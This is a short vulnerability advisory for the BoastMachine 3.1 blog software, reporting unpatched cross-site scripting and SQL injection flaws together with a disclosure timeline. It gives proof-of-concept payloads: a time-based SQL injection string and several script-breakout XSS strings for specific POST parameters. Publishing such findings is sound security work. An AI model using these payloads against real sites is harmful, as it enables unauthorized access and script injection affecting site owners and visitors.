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XSS and SQL Injection Vulnerabilities in BoastMachine


Name :  XSS and SQL Injection Vulnerabilities in BoastMachine
Software :  BoastMachine 3.1 and possibly below.
Vendor Homepage :
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Omar Kurt
Advisory Reference :  NS-13-014


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BoastMachine is affected by XSS and SQL Injection vulnerabilities in version 3.1.

Example PoC urls are as follows :

  • SQL Injection Vulnerabilities
    (POST - blog)
    blog='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
  • XSS Vulnerabilities (POST -  params: key, blog)'"--></style></script><script>alert(0x000336)</script>'"--></style></script><script>alert(0x000335)</script>&box=3'"--></style></script><script>alert(0x0000F8)</script>'"--></style></script><script>alert(0x0008FF)</script>'"--></style></script><script>alert(0x0002B5)</script>&action=del_blog&step=1 (POST -  params: blog)

You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here :


No patch released.

Advisory Timeline

10/07/2013 - First Contact - No Response
24/07/2013 - Second Contact - No response
10/12/2013 - Vulnerability Released


It has been discovered on testing of Netsparker Web Application Security Scanner.

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